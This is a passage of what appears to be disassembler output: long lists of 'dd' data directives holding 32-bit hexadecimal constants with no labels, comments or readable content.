9631E826h dd 8920DCDDh, 0CF181308h, 0DD630106h, 2C774260h, 0B64F2485h dd 76196600h, 4B366822h, 0D2CDCC5Ch, 52694709h, 2540D831h dd 3E9C1DC5h, 5665C3Ch, 0C0B70FC3h, 0A56E1DFEh, 6ECAFB90h dd 0F0144497h, 711D2C2h, 0A762F41Bh, 0DF67B603h, 173B789Dh dd 4E58C531h, 26183ABh, 23480368h, 0C0F24A21h, 4719F77h dd 695D14C9h, 16DF7986h, 94DEFE0Ah, 0AB0F899Ah, 6C630B5Ah dd 0D4C38335h, 0BDA5B6C8h, 0A1D8560Bh, 344161F1h, 687156E9h dd 70366413h, 63BF07FAh, 8062B454h, 772AA03Ch, 8DA5097h dd 73D852CAh, 0E60852A5h, 0E3ED05A0h, 8BFB29F5h, 0EF46601Fh dd 981C2065h, 0A2C6FCB5h, 21967508h, 0E9093442h, 3EFDF306h dd 65D3B5CEh, 0DBEFC22Dh, 2A92C48h, 3EC03263h, 26710761h dd 10DF4C95h, 2C7FB60Fh, 0BE166DCDh, 0A34BD857h, 12E91698h dd 0D53108E1h, 9998D4DCh, 0ECD108F9h, 69A12D00h, 0B056648h dd 15085D71h, 5FE663F8h, 0E986D294h, 0AA3DA627h, 0E116F585h dd 3C2294Fh, 8994745Ah, 0B7D17257h, 7BC97825h, 215F243Fh dd 8E6E8A7Fh, 0C98EA511h, 0C63C4BD0h, 62CED6E9h, 1D95663h dd 7733AF42h, 50455CEh, 18630BDh, 75810EAh, 202C9E4Ch dd 6F5EAD2Eh, 12EF5AADh, 0AF3AEA68h, 7F073F76h, 0D1B94B58h dd 2F8A3C43h, 71F9F037h, 35D52482h, 27B2E61Ah, 0E5050937h dd 3F123F6Fh, 98FFD07Ch, 773EC122h, 9E0A1648h, 32715741h dd 63F678A3h, 8006486Ah, 22A14817h, 0A86AA523h, 0C17C3A57h dd 0C8F2C8Eh, 0FDB34F29h, 89E884A7h, 0EDDD9DBEh, 0EA028EEh dd 0FCFC480h, 0AD3D45E2h, 0F701F844h, 0B8C2A82h, 1393574h dd 5FC13A8Fh, 7C70F387h, 39C497A6h, 0CB69A2B0h, 0A2CB09E3h dd 40BB645Ch, 75CDC5E3h, 0C796F1Eh, 7E3C7C02h, 0D3948455h dd 92686390h, 3D9FC453h, 1400F4ACh, 0B3F8D81h, 0C598BA71h dd 0ABB99FFBh, 8771CA89h, 0B7D2D907h, 41485673h, 60F694B0h dd 530BD436h, 0D0C68852h, 5E9343Fh, 680A9059h, 9E993D9Ch dd 0BE95485h, 0C0818B4Eh, 0C90417FCh, 25CE7D01h, 3793FE25h dd 0BB781EF9h, 9808AFCBh, 81A9A4BDh, 0EFB22E66h, 146BD31Ah dd 2FDBED5Fh, 2098E730h, 0B342038Bh, 0EAC3809Eh, 2C220648h dd 5D92E35Ah, 4A26CBB4h, 8279D407h, 1CD5DC6Bh, 0C031FC9Fh dd 81D9F7A1h, 0B016FEF1h, 9ABA01Ch, 7C9B5E7Eh, 8BBE9A38h dd 0F60DAB61h, 0CBB01ADDh, 5BA63657h, 940AFD55h, 7E77844Fh dd 30F5C618h, 287614B0h, 0AA125865h, 5D485728h, 45850AA3h dd 20EF9920h, 0B4967BA8h, 17B1F688h, 59EEE428h, 257C575Fh dd 0C7992DE9h, 44F1154h, 4A9697E2h, 84609D8h, 0D38B637Ah dd 0E9893D65h, 55DD62CEh, 1C859018h, 114B0E9Ch, 1FFF058h dd 872D40AFh, 0A45C4C20h, 8E09F354h, 5A655E90h, 1ABE3843h dd 0C0D9F606h, 0B70A05E1h, 285BCC78h, 0B5BFEEB0h, 0D8E6E523h dd 3FCFC6F1h, 55E56892h, 0A1B1D0C7h, 0D120305Ah, 0FC0D5BB9h dd 0BACBA477h, 4036E912h, 0B62DADA7h, 7D16B160h, 0FAE6D829h dd 3D12FE01h, 2B76E952h, 0B5517C40h, 98EB306Ch, 0CD29FAFh dd 0F7B9EA79h, 0EE04B492h, 0E112BF6Ch, 0F45F319Ah, 0CE5EBA4Ah dd 0D82E2CA1h, 5F5E7B36h, 0F2F74CA8h, 0B7714D6Eh, 0C5B22ABCh dd 730B20B0h, 0E2319629h, 2CEFF989h, 97C0983h, 68043951h dd 31FF0C6Dh, 6D4E9B82h, 408AA5FDh, 7BE95705h, 0BC9AAED9h dd 0F969BC13h, 0F1298445h, 0CE40A084h, 4C9E6852h, 824F5048h dd 5E6002CAh, 0D2F778BBh, 78D6095Fh, 0BEE59530h, 222D7782h dd 0E3136136h, 0A116EC15h, 0BB058F66h, 41708D82h, 0C995DD1h dd 78C20656h, 0ACEB7B8Ah, 0CE0B7206h, 361855B9h, 13830618h dd 0E22692D4h, 17F388EDh, 0E12334D2h, 0D6987B6Bh, 859C5D09h dd 0ECE0A05Ah, 89BF87F4h, 0D49A7D60h, 1337657Dh, 0B8E8524Ah dd 6907F18Dh, 15C9553Ch, 0E27DE8E3h, 1D62845h, 0F7B050B2h dd 4858F832h, 2B48F5C0h, 3B8368E3h, 8353DDEAh, 82B073h dd 0C12389EDh, 0A17E91Ah, 0E17748B7h, 6E4A1F4Fh, 82C01329h dd 2F5F0578h, 7A38451Ah, 0D8D2ECE9h, 0B2618932h, 8EB353E3h dd 35C4B23Ah, 0D1A4511Dh, 0EC154BE3h, 8B8E847Fh, 30E4B200h dd 96B15AD0h, 3E10F710h, 0EBB24BEFh, 1E97207Ah, 5144812Dh dd 610AFECh, 17283233h, 690B0861h, 7E5A0D75h, 3C0CE8C4h dd 0E91C0145h, 4F467C4Dh, 447B8ECDh, 0BA683061h, 1D66E1DCh dd 250F4DBBh, 93319F4h, 0F381E103h, 0F03C34FDh, 0C564E90Bh dd 216C85Ah, 1BE6139h, 0B6552543h, 23832010h, 2CF77D3Eh dd 77177601h, 0A8C529ADh, 0C065BF57h, 0A25C03AEh, 0E9D04F35h dd 0BA80D888h, 0FC05044Eh, 0ABD30116h, 0C302E3CBh, 7D0C44D1h dd 929066D0h, 192CA20h, 0C1FEC5B1h, 31ABF180h, 761AF8F0h dd 0A5B974B9h, 415D5EF8h, 64DCE953h, 16955B1Eh, 0C9E912B7h dd 1F2F91ABh, 0B95100E0h, 0E77C267Dh, 0E4EE087Ah, 2DC82904h dd 0CD8588BEh, 38A85Fh, 0A46AA459h, 0C59DF435h, 0AA902D2Eh dd 3F92F81Eh, 0F5C2840h, 2E68C8BFh, 0C29C7BB1h, 88036741h dd 5AD791EAh, 17138469h, 0C008F87Eh, 12B07D71h, 8BCD0781h dd 60640F7Ah, 2028D2F5h, 82E9220Bh, 556E1A24h, 0B4B202E0h dd 0F414082h, 67E5006Fh, 0EDD1BABDh, 0F5272972h, 0CE14C05Eh dd 501E3054h, 65E6EB0Ch, 0E8298700h, 0D90B2D5Dh, 0AA54D27Bh dd 0B3EBEF10h, 0DDBE8502h, 801962C1h, 1D1EBD55h, 0E9121299h dd 0AE2184FBh, 4B0F0A98h, 844245A3h, 1B9DEA29h, 4101E822h dd 0E950CA40h, 0BB00DE7Eh, 168C46BDh, 0E3C154h, 1812F303h dd 0CC06FB6h, 4E53D23Ah, 8DDD4A31h, 9BE4E20Fh, 0E9135D62h dd 0DD146AC2h, 51505640h, 8838B117h, 45713912h, 8000DF37h dd 0BDF0B5C2h, 0E1C6C8B5h, 0C551782h, 0FB8C1672h, 5D1A5219h dd 811DEA7Dh, 0F6E004F7h, 0F9C1BF01h, 0D06A283Ah, 0AA680B3Eh dd 8164E596h, 6473AD16h, 72C258B5h, 4A9AF2CEh, 48C4AD05h dd 2CA2787h, 40DD87F4h, 300ACB16h, 5B0C6D96h, 0AE4FC4BEh dd 31093EA2h, 0AB02277Ch, 4D7FF795h, 0EF838F2Fh, 7661BAB3h dd 153F67E9h, 8D290EBh, 6804966Fh, 9AAE74CFh, 0E2BB2510h dd 590BDCDEh, 69FA042Ch, 0B4F26E13h, 831351C6h, 6C658E25h dd 32B22283h, 0A9040C4Ah, 800367F1h, 1CC1C3CEh, 324E3BC1h dd 136A0319h, 8410B501h, 5BE91908h, 8E7B8827h, 0D2D327F7h dd 5EF7273Bh, 804041D6h, 5CFE97F4h, 0D8203BC4h, 48D56459h dd 0D64A733Fh, 3F3C8A2Dh dd 7531683Ah, 1D4BA63h, 3CDDEB29h, 426029A7h, 0B280B93Fh dd 0B97A9797h, 0DA5BF82Dh, 844E15h, 234CBD43h, 9DF47ABEh dd 214D0497h, 0B2F8BFFh, 7C08E8C1h, 0B4E9E198h, 65463F1Fh dd 0A1F5B1D4h, 122E4F6Ah, 12CBE90h, 12F173F7h, 1270C768h dd 2F24F19Eh, 174198E7h, 0A6C2C86Fh, 4A336440h, 0DF28FD14h dd 5F42ADD2h, 7437EA68h, 760F60C1h, 0E2A04430h, 602DAD59h dd 17EE58CAh, 0B39940E9h, 0EA4A7CB4h, 0B96CEE3h, 0AB7622ECh dd 758875C2h, 2CC0D639h, 0DDF70F16h, 7063044Dh, 0B618EBB3h dd 87A9511Dh, 0F72312B7h, 4F681710h, 54257C6Bh, 5CD4AD16h dd 42E92F54h, 77ECC789h, 0D211552Ah, 0DAF74A00h, 0C522F281h dd 0B1355AC1h, 792C3FDFh, 2B274137h, 0DE52AD5Eh, 57CC9385h dd 949F9237h, 31C5C084h, 0E9370905h, 0DB607D45h, 5496850Fh dd 45E1D2C4h, 8FA6800Eh, 7DE92047h, 6971BC95h, 985FBAC2h dd 10912D85h, 4A0FE81Bh, 76B261BCh, 0B1255778h, 0D19BE347h dd 4A3B91EBh, 0A7D95756h, 0B3F0FD4h, 303AE368h, 81C059CFh dd 39E42F2Dh, 43F29705h, 77F25D4Fh, 491A4C72h, 2FB1A581h dd 0A7AEECD8h, 3E8485BEh, 88AE763Ch, 11D4423Ah, 6AD42F9Dh dd 0A5727135h, 12548D29h, 9FB0F4C7h, 0BF44810Eh, 8019A1Ah dd 0C4033C07h, 3E947429h, 0C5200C68h, 0F07866B7h, 0A7856F4Ch dd 4424E7C9h, 2FD1AE5Ah, 6240C322h, 3F6E78h, 68E58111h dd 0E90F5F59h, 90122E4Ah, 730A3A0h, 0F76F9208h, 0B0CFE5D9h dd 0EE77890Ah, 5F15834Bh, 722D00B9h, 553A545h, 0BC475C28h dd 26E0E90Ah, 660240A5h, 5A5E0838h, 0FFFF10h, 65156D9Eh dd 74E2C14Ah, 0B3E91607h, 6856DDCFh, 7FE9A0C9h, 15AB97B6h dd 818DEC74h, 0E63FF362h, 0CBD63CF2h, 8D2CFB3h, 61980445h dd 0EEC80F41h, 0B4734A33h, 7A411B53h, 0B5AB340h, 29FE1FB9h dd 1ADF49D3h, 7FAB9C5Fh, 96D5A47h, 22DF0563h, 7F2D5924h dd 7CD8404Bh, 375015Dh, 0C05A7B17h, 7044AE5h, 15C428F2h dd 58EC17E3h, 379DD81h, 0E4C82A7Eh, 1B78181Dh, 697CBC6Dh dd 0E07A4281h, 0C09C230h, 0F8E71497h, 3231BF80h, 0FE71A46Eh dd 5823A08h, 0C277C780h, 0C16626F3h, 0BCB5682Ch, 9630E9C1h dd 2768DE4Ch, 58981208h, 10B5AEA1h, 9BF575Dh, 4A2D6493h dd 0B37D7912h, 49C0C642h, 0DF4EAAAFh, 0D93D5BC7h, 0E9F7702Fh dd 4ABDE7B0h, 4B6C51CFh, 0C2C19B5Ch, 17BDBE9h, 558ABFF8h dd 0EF3A600Bh, 0A6102702h, 82E7C113h, 799F569Dh, 0E4BA9E03h dd 0D7DEC941h, 0BB30D5C8h, 970350E9h, 173C34D1h, 0A1B2065Eh dd 0D22B2F78h, 64DA8A3Ah, 0D9B39525h, 13B14ED5h, 0DE860F8h dd 68E2B092h, 17322720h, 0A3690FE9h, 72702D85h, 5BD92DB9h dd 0D01B0384h, 20EFB732h, 0CE04FA4Eh, 0ECE7EBCDh, 24E2048h dd 27166857h, 5DE429D1h, 3AAB2FC0h, 0C17A004Fh, 0C98107E9h dd 0B02D221Bh, 1EC8B0Fh, 30D511C8h, 0D04CF56Eh, 4E257ED4h dd 591D606h, 0F179E951h, 0BCA43B7Ch, 6CE9BDF5h, 2838FDF8h dd 0C3487F1Bh, 0F7A1B4A6h, 0AFD3C62Ch, 52BB0A65h, 166FF868h dd 8B64CC8Bh, 0BB8EDE45h, 538B58F2h, 0FD8846E0h, 266ABA1h dd 2F7AE4D2h, 6A0602Ch, 17F3D737h, 0F11663B5h, 0CA52B5F1h dd 0A35641EAh, 50515C00h, 8CF4A2EEh, 2C918D5Fh, 0F3C153B6h dd 0B821177Fh, 6B91792Bh, 88045E6Bh, 4281A37h, 9B0E3D2Dh dd 0C1546203h, 4E0CE882h, 0BD84F0E3h, 0AB2B66EAh, 5DFED572h dd 97E1F89Dh, 0D604891Bh, 6BED47B4h, 0FB0BCBC7h, 211093D1h dd 5FA7BAh, 50DEF7h, 9E415468h, 540586Ah, 0C7CF1902h, 0F485E908h dd 26591CC9h, 0ECFE2D5Bh, 2206BF40h, 0C7DAA03Eh, 0E4EB1786h dd 0C720EA4Ch, 4EA17B04h, 46DBC34h, 898B7F88h, 48568582h dd 25284C4Ch, 0A7D952DAh, 0F12E965h, 0F14514EFh, 2C550CFh dd 720957E2h, 0B3223C71h, 904306CBh, 9A116C0Ch, 7D280C50h dd 0FC15B071h, 2E5A81B3h, 76ED18A0h, 74A130FBh, 0A928190Ch dd 0B9291428h, 474440BDh, 0E9850A78h, 0AD429B86h, 2542D66Ah dd 0C9149E55h, 45473B8h, 3301CAEAh, 4903DE3Eh, 4CD3AA70h dd 12D8F825h, 6DC5AAA7h, 270402C2h, 0BB16A6FAh, 5916431Ah dd 5EB68825h, 3103032Ch, 204D6725h, 5029FB6h, 7F5B4EB8h dd 94E45F2Dh, 0C4B36027h, 0F8832B7Ch, 82452A57h, 6ACD48E7h dd 9E609F19h, 0BE801C31h, 598812A1h, 7001BEACh, 8102E6C1h dd 250B9ACCh, 8404D25h, 0F582A916h, 2572120Bh, 690EAC2Dh dd 0CACC72A3h, 0F0FE73FBh, 315B7BC2h, 4C0CC9E2h, 0FA482188h dd 0DBBAAF43h, 0CEC22DCAh, 7B2D9356h, 105E099h, 645A2352h dd 41F4F0E0h, 0EBF30007h, 53E0607Dh, 5DDD34F8h, 4CA90D55h dd 23E24ADDh, 0A203A8D2h, 424456B9h, 0A0716150h, 0E001AFBCh dd 16B63544h, 0EAB55595h, 0A5560B0Bh, 38136AF6h, 84DEA854h dd 0A0175DC9h, 7B41B85h, 587E291Fh, 0A6FE8450h, 0F9B15100h dd 6C7C980h, 0EC6F52E1h, 0EA7F1276h, 3089246h, 0C1B6855h dd 0A4DA3D44h, 732F34FEh, 72A948E8h, 0B8BA7FA9h, 67D7A640h dd 0D2C75D82h, 0D8B81D28h, 0D4EB3F94h, 19F4CBD3h, 7D4914C7h dd 14415E32h, 643B650Fh, 8F5A586Bh, 84B9A763h, 503F31CDh dd 0BD77FEFFh, 300F0646h, 0AB21B25Fh, 0ADCD2473h, 5EF43382h dd 0F1B2CD41h, 9CA2806h, 0D1057968h, 2A8382FBh, 8E5C29A0h dd 0EB63ED8Eh, 88A97672h, 69285FB2h, 13C9BE4Fh, 0AA698666h dd 77A6D9F4h, 0F6E5D227h, 0F0EA9D0Eh, 84554962h, 505CD4Fh dd 1DAF0E4Dh, 0F642C4BCh, 771A122h, 5115A07h, 9071EAE9h dd 0FE47B78Bh, 28CFCF48h, 22EC45D0h, 355C4F00h, 6B1A568Ch dd 1F722Dh, 0A40D3C83h, 0E9572512h, 0C59E6227h, 0B8C7121Ch dd 0A8ECE553h, 1A987415h, 0F359C99Eh, 75513D90h, 4160F52Fh dd 8000D1B0h, 0B3BEF2C3h, 7364EB1Dh, 700A8D12h, 74108CE4h dd 9E79B84Bh, 56B2C593h, 9D2D5C25h, 56F3340Ch, 5494BE04h dd 618016CAh, 1A585020h, 4DDF72Eh, 42F4B580h, 239412ADh dd 0CE95504h, 0EB4C33ACh, 323D3617h, 47F55F72h, 248AAC45h dd 2B5400FAh, 0CA297A10h, 0DB1E912h, 6401B190h, 61205883h dd 45966120h, 5B0BC826h, 0F6054EF3h, 0C9924B4Bh, 6CDAE0ABh dd 9D1CBAh, 8C3FA36Ah, 0C2F1BC17h, 0FDABB7E9h, 167DD5CAh dd 0EFD0B9Ah, 0ACF84C08h, 26B9D997h, 12011173h, 6DB06EE9h dd 0F67B975Dh, 48F6C742h, 5E218494h, 6BCBE14Ch, 0C3303D05h dd 5A4998BBh, 5815D40h, 4AE2E0EFh, 1383FF1Fh, 0A1019D01h dd 2DFC33C8h, 5648B42Bh, 62260612h, 9AC16481h, 0E50F4130h dd 0AEC5B141h, 0DC4EF37Eh, 126FDDDDh, 58D55662h, 48A29DC5h dd 61A82DDEh, 2C5C8C20h, 10F1F589h, 7B4950C1h, 0C58AA9B0h dd 0BC2DACBh, 0DE256E7Ch, 2CC731Ah, 0FAF5C6E9h, 0A60321B9h dd 8D74BC04h, 0ECFC85FFh, 0CB0B966Dh, 53D4A99Fh, 5EF20993h dd 146D1571h, 84EBF36Bh, 0CE101182h, 0F8CE2513h, 7F0BC4ADh dd 403B73F4h, 0B21652C8h, 0C605206Fh, 83FB7B2Ch, 19A80F4h dd 76726075h, 24608A73h, 740414BFh, 0D7F7296Fh, 751009C1h dd 24036D0h, 244DBB53h, 0DAE03996h, 0ACF077CBh, 0C3005B90h dd 0FC9FD562h, 0B71554E9h, 101FEB20h, 4ACF3D69h, 1337A4E2h dd 0F384C7BFh, 0EAC9CFF7h, 0E9C28B0Ch, 5D8EC1DEh, 68FF317Bh dd 0F3F36FAAh, 0F2982B4Ch, 3180701Fh, 0B6A3EEF9h, 31AE2D50h dd 62856882h dd 0FC42CE7Eh, 0DCF60259h, 0FFCB9285h, 38E5188Dh, 0A14ED42Ch dd 14D2E0E9h, 0DBBD7AC0h, 0B850E043h, 0C37820F7h, 0F8143A90h dd 518E7F5Eh, 0E9DAC821h, 21C69B33h, 59C0B8F3h, 941AD031h dd 27BAC207h, 0B1F29B11h, 32FF0880h, 0CBF11BBFh, 0E9E8165Ch dd 0EADBC420h, 0AB16438Bh, 8F7FA406h, 790D3412h, 0E03F77ADh dd 29825089h, 7F23FA48h, 10E4565Ch, 5B240FEDh, 0D2350B68h dd 13271EECh, 20A16C44h, 5303BD1Eh, 0FE2CB551h, 787ADAC5h dd 0D83005BBh, 0CC7F9268h, 9B5BB5AFh, 1B0B728h, 0D0C8FE60h dd 3E6F2CE0h, 804ABC90h, 66C61EDh, 0E3C528ACh, 0DA3D5897h dd 76AEBA3h, 4EB610BDh, 92CAE001h, 0FA701A4Ch, 340E0AF2h dd 17B1330Bh, 8D406E9h, 0D20B1A42h, 70B2DA4Dh, 0A3F773A4h dd 830D909Eh, 9CE92F6Eh, 0D1C6A48Bh, 0E44A9EBFh, 85785891h dd 396ECF80h, 0E7078109h, 79A4645Ah, 16ED616Fh, 188240B6h dd 4CC3766Bh, 3EAED080h, 895E2CB7h, 70F5CF04h, 9E125EAh dd 3AD662DDh, 1120D428h, 4A6697C9h, 5B788598h, 81107302h dd 7E3BCFEDh, 795708E1h, 0B02EA8Fh, 5C616033h, 8844B466h dd 0AD3F3645h, 452F8F07h, 0FC3550CAh, 2F71F180h, 0BE64058Eh dd 75D08Fh, 74A3EEEAh, 12C24B7h, 10B561D6h, 213C61BBh dd 9BB37FF0h, 0F8EBE909h, 8127BADFh, 0E1C15915h, 4076A060h dd 869050A0h, 932E000h, 72A3B842h, 31200F84h, 0A449E9D8h dd 5E979DDCh, 14CB1B5Eh, 24B2775Ch, 0CC9B045Fh, 572FCCAEh dd 71C737BCh, 682B3600h, 883054D1h, 645E408Dh, 0A00597A2h dd 0BD8E9472h, 9E10DE72h, 92738927h, 0BEF2D025h, 9D0153D9h dd 0E99CC138h, 362357B4h, 0E6685805h, 1626B30Ch, 63A821A4h dd 0A71704A5h, 828109E3h, 4148DE03h, 0BD389E75h, 3D665E2Dh dd 4A196817h, 30811B37h, 5AEC6D37h, 4129BD2Dh, 0CB3F358Fh dd 0D8001C7Ch, 72868C7h, 0CD0D7C90h, 6E13E159h, 49B0B3B9h dd 7A114F26h, 0F461B48h, 33961263h, 0B4C88D01h, 0C32A6A3Bh dd 44C70152h, 96AE9797h, 0F725FB37h, 0C34470DBh, 5B12A67Eh dd 456DA28Dh, 0C7142836h, 0DC7934E9h, 0AA6A65B4h, 4B5B3D4Eh dd 0FC870453h, 4EDC103h, 0AFFD5E07h, 0D7E5FEC3h, 10C2CD94h dd 9F4E6612h, 47390052h, 58620A75h, 0E909062Dh, 0A77F740Fh dd 555A62D6h, 114FF11h, 51518F69h, 970D5B5h, 0A679C4DBh dd 7D961E6Eh, 2BBF73C5h, 825C2C63h, 0EE19E9E1h, 568EA951h dd 0CB590AA5h, 7E04A96Bh, 0BBCD62BFh, 2428129h, 0C4EC2F56h dd 51F8948Eh, 454B2449h, 0E25CF8ECh, 68888165h, 0FEED1EA0h dd 0BF50006Bh, 6ACA6498h, 31F203BFh, 0D616F9F0h, 27785E33h dd 0CE938881h, 0C937FB85h, 4F67D029h, 0A200572Dh, 69F25B9Eh dd 10068BD7h, 0FE126DB1h, 92EC4Ch, 3EDC059h, 28FCD80h dd 0E91BB050h, 0A1E4BDE0h, 0DAEB8127h, 5A9D32Ch, 0FF0E59F6h dd 282A146Dh, 5545CADCh, 402E4B24h, 0C3A6BE9Eh, 2A458A81h dd 3DFB4416h, 68EB8475h, 8FAB3A10h, 99636430h, 4A9E24ADh dd 84D2A775h, 98742368h, 7E13CAFDh, 30F078B2h, 8269395Dh dd 0CF8F3041h, 8C14C2E2h, 2ED4D689h, 0B8E20CCAh, 886EF905h dd 10BD346h, 556A09F7h, 425E3DE1h, 0CB4A5F9Fh, 2B0B1F74h dd 4E835EACh, 0B477BEE7h, 0C689534Ah, 72DB8240h, 976581Bh dd 50C95D22h, 44E05ED4h, 0F4271299h, 552477C1h, 32C7262Eh dd 4BE367Eh, 5562C0B1h, 6F4E8C3Eh, 0C5535C6Fh, 0E2240D9h dd 9C7E582Ah, 736858A6h, 5F466CB5h, 131F4431h, 7438BB66h dd 69C42A68h, 7B574D32h, 2FEF2D0Fh, 0D5E9CF47h, 0C1B1F8C6h dd 4DA5393Bh, 12918681h, 6A29EADDh, 0C720DD2Dh, 5B3A723Dh dd 27EFE2D2h, 0CF7D598Ch, 39BC0638h, 2752EA29h, 0F19C745h dd 5207EED4h, 2756545Ah, 0FF1FB28Bh, 65669311h, 76CAD275h dd 44680821h, 0C0AE7030h, 973FE695h, 0C2ADD222h, 49BAB09h dd 0CC8CF7ABh, 0B3FAB5C3h, 1EAD5F4Bh, 4F39FC06h, 0C99F0C19h dd 2841660Dh, 9B6EC7F2h, 2F204C44h, 0A71F7118h, 8589EF56h dd 72075C97h, 0EA206882h, 0C157AD02h, 5D00D862h, 0A12B685Eh dd 0BF14ED27h, 52FFD2B8h, 979B222h, 0B23CCF68h, 2A95DD2h dd 90C21D58h, 5EDBE3E9h, 9AF95A88h, 92626F48h, 0EC21C414h dd 2CF217B4h, 4E67AD09h, 0FAE4A7E8h, 0F03E9F69h, 0B905F393h dd 4341AC1Dh, 0E84EEh, 6E7E8CBEh, 0C4BF0560h, 0DE962A7Dh dd 47EB03BFh, 5E099759h, 54910E00h, 0C23107FAh, 533536E9h dd 97A568DFh, 0A9B7E989h, 72FD5CD0h, 4388B1F6h, 0EA3428CCh dd 4A1EF233h, 3B4A8D55h, 68C4EAA2h, 5F71E879h, 2CE97271h dd 0A27EF775h, 0FEF697EDh, 8467FC5Ah, 3F49EECh, 97631211h dd 0F8C80161h, 6F4C2270h, 28C879A4h, 7FEE526Fh, 60129D99h dd 754BADFEh, 3ACCC4BEh, 70CB2B52h, 445D0484h, 0EDF16843h dd 40182598h, 0EEE83167h, 59B4A893h, 91A90C2Dh, 1B5A32CCh dd 43B4872h, 4584801h, 4BA842C3h, 0FA41E4C7h, 0E13F478Ch dd 2AFF256Ch, 21C222B7h, 11E15DE8h, 2DC82A75h, 0A3524F42h dd 5EE6171Fh, 54120BB3h, 0A9FAF85Ah, 2701E77Fh, 0E9E2FEC2h dd 512D6C71h, 3B516B32h, 66A9D293h, 9951F417h, 3409E97Dh dd 4991550Dh, 0AD9125C4h, 0F270E728h, 0D55C8256h, 0A2010612h dd 158F0884h, 0A81070FCh, 55FEAE3h, 1EC96C7h, 9338F9D3h dd 0BB0459A9h, 0AA846EDFh, 0CE8B4EC0h, 29AA3D53h, 0B083E992h dd 4016BD7Eh, 7007B4Eh, 8D07A0F5h, 2670B77Dh, 0CAD5F72Eh dd 2C6BE902h, 3A18601Fh, 7CDE3B26h, 4E74CE03h, 18050943h dd 9FE52E69h, 96518EA8h, 80BA8904h, 9541395Dh, 2C003B58h dd 0E2650601h, 92814AEh, 955E90Dh, 0FA4B451Bh, 5C5EFD7h dd 38B9EDD0h, 7B67328h, 0B0CBC368h, 6739F227h, 0F2BF3A52h dd 5EE6986Ah, 0EA33139Eh, 41ADD72Ch, 0F89F4076h, 0A0B860Dh dd 42072Dh, 5E8C107h, 7BD875F7h, 610C1E0h, 2817B9E9h, 6388C609h dd 0B9ED5F7Bh, 7E8251A7h, 5EAFB6B5h, 0E984C2D6h, 0EBE487DDh dd 26305C7h, 0EE7C14Dh, 0D749DFB3h, 167D7384h, 4A28B7ACh dd 35D10DFEh, 0E80C0C8Eh, 0D6273F88h, 4964D401h, 2460EF8Bh dd 6673F180h, 0A4B09AF2h, 0A0CCC67h, 0C1E7D107h, 2F685A50h dd 7083A816h, 4C29805Fh, 0F508242Eh, 0E8AA042h, 3CF3BFADh dd 0C0273E86h, 53511F59h, 0CF8087B7h, 5CF66012h, 0E6D30124h dd 1E716053h, 4C28D53Ah, 99645B8Ch, 49E8EBCEh, 0C82BA2C5h dd 164EF1F9h, 56F65950h, 0EE800073h, 0CEFE3389h, 0FAE9BA0Ah dd 85272975h, 0B0FC787Ah, 0BC77B0C4h, 0FCE4929Fh, 9BDE8AF6h dd 5E2D5C6Ah, 0C05C5A3Bh, 0F10931A8h, 0D52B5F02h, 90885A8h dd 16F7348Bh, 0BA41BDEAh, 0EE4187ECh, 36343E79h, 10829980h dd 1F1A4F41h, 0D008A878h, 3F58141Ch, 154109Fh, 3F26BA52h dd 1020040Ah, 117408CAh, 210309E8h, 0B808FBC9h, 5E8CE9D5h dd 0C1A4E8F0h, 4C310FE0h, 0E525A47Eh, 581CAD3Dh, 7F506A4h dd 25B05D3Dh, 8927DB99h, 8005E833h, 0DBC19CC4h, 907C869h dd 287503DFh, 0D0ECF8F4h, 0E3300B5Ah, 0E26E5E9h, 35071409h dd 0EE24E0B7h, 0C55D1CD2h, 6850C048h, 539E09DFh, 0E9B26052h dd 69B0860Ah, 9BF4A341h, 4F259658h, 9728BC04h, 5CE476h dd 0F380CBFEh, 0F22AFBF0h, 90C71043h, 3CDEFC5Ah, 4F119330h dd 9B2C350h, 75B44C07h, 0A328880h, 0BC90484Bh, 7D316AFDh dd 0D100ABFEh dd 9B7E35E0h, 1760C13Eh, 0EA52EDF3h, 7304A6F1h, 10B39AFFh dd 109B46Ah, 29DF05C8h, 4576CAEh, 3C76E2C3h, 0D929C012h dd 745E3F6Ah, 502D1AFDh, 0CEBC1A79h, 0F73C7829h, 0B076C59Fh dd 8F9FC256h, 886271F6h, 9EC4D7EFh, 0D9590B0Ah, 0F018E41Fh dd 945AD6A1h, 5646A4Ch, 0C1080214h, 380E5D2Bh, 860FC42Bh dd 0F7814F00h, 0D8304555h, 31150C71h, 0AB8C50ADh, 1F6495EBh dd 2EAEB2D6h, 3F7064FDh, 0E03657AFh, 0BE4050A0h, 3330C159h dd 2164FE02h, 116BE4E4h, 41011E3Eh, 821C0806h, 7E264114h dd 90C4DF2Ch, 24BB179Eh, 8D8C0198h, 0D861C925h, 149CF2E9h dd 12920D01h, 0FAEB4EA1h, 0B5A275BDh, 0AD07BBA3h, 0DE8758C2h dd 0B776BF40h, 0E455D79Ah, 0C4CD4FD2h, 0C9A8F895h, 0DA5F95Ch dd 0C2954DBCh, 44A00A85h, 0EC5051DCh, 96473D5Dh, 0F94158D5h dd 7D153165h, 341D4200h, 20B30E4Ch, 20E2B755h, 0C2140D84h dd 82751990h, 77D1216Ch, 37E9A898h, 97B8ED4Fh, 1B1FD6B7h dd 9B6616BDh, 95730BC5h, 9F24D7D1h, 6E00382Ch, 8751574Ah dd 0CEE925FEh, 6B4F5059h, 2DF74159h, 5F58D36Ah, 0F03EAEB0h dd 0EAC4385Bh, 4E680707h, 8890F929h, 78246714h, 770DC51Ah dd 22276F47h, 0FDB5774Bh, 54BEE299h, 4A2CAECCh, 2D0840D3h dd 9B9299Dh, 14471DCh, 555725EAh, 4140223Eh, 0B6114208h dd 63BF6600h, 4E89E81Dh, 0F0A629FAh, 5AFED029h, 58C122C6h dd 0DC539512h, 4C2D8F3Fh, 251DB306h, 0D50E05DAh, 0FBF6245h dd 0D7421E68h, 19771391h, 4F589958h, 13A5E3E4h, 0E2F2014Eh dd 0B684C389h, 840F01D0h, 273F527Bh, 9140E49Ah, 0F7D58832h dd 95E5A4C7h, 2DA03D1h, 0ED4B5457h, 0B65E298Fh, 94E0100Bh dd 7882012Fh, 6803C936h, 86E3B459h, 0D6030D05h, 634FAB43h dd 0DECA5DF2h, 6C03C021h, 1456954h, 71951A18h, 7ED501A7h dd 364A44B6h, 0F72513DBh, 2F1A73E9h, 5F71D67Ch, 5A90120h dd 0E9702771h, 74A87Dh, 0E863C9B8h, 0DFCDBB5Eh, 3B2FE0Bh dd 974E5C36h, 0A8E13D4Ah, 6407326Fh, 0F502DA87h, 5EBFEC31h dd 8A9FEDB2h, 93871038h, 0D62AAAE2h, 122D9D59h, 0B8F5798Bh dd 161E2DBAh, 501D8E63h, 2B510750h, 